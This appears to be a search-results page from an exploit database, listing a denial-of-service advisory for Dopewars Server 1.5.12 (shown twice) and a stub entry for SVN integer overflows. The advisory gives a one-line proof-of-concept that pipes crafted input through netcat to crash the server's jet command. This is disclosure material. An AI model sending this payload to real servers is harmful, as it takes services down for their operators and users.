3 matches found
Dopewars 1.5.12 Denial Of Service
Description The jet command in Dopewars 1.5.12 is vulnerable to a segmentaion fault due to a lack of input validation. POC ruby -e 'print "foo^^Ar1111111\n^^Acfoo\n^AV65536\n"' | nc localhost 7902 Fix This issue is resolved in the SVN version of the application. Discovered by Doug Prostko...
Dopewars Server 1.5.12 - Denial of Service
Dopewars Server 1.5.12 - Denial of Service Description The jet command in Dopewars 1.5.12 is vulnerable to a segmentaion fault due to a lack of input validation. POC ruby -e 'print "foo^^Ar1111111\n^^Acfoo\n^AV65536\n"' | nc localhost 7902 Fix This issue is resolved in the SVN version of the...
SVN < 1.5.6 / 1.6.0-1.6.3 Multiple Integer Overflows (deprecated)
Binary data 5140.prm...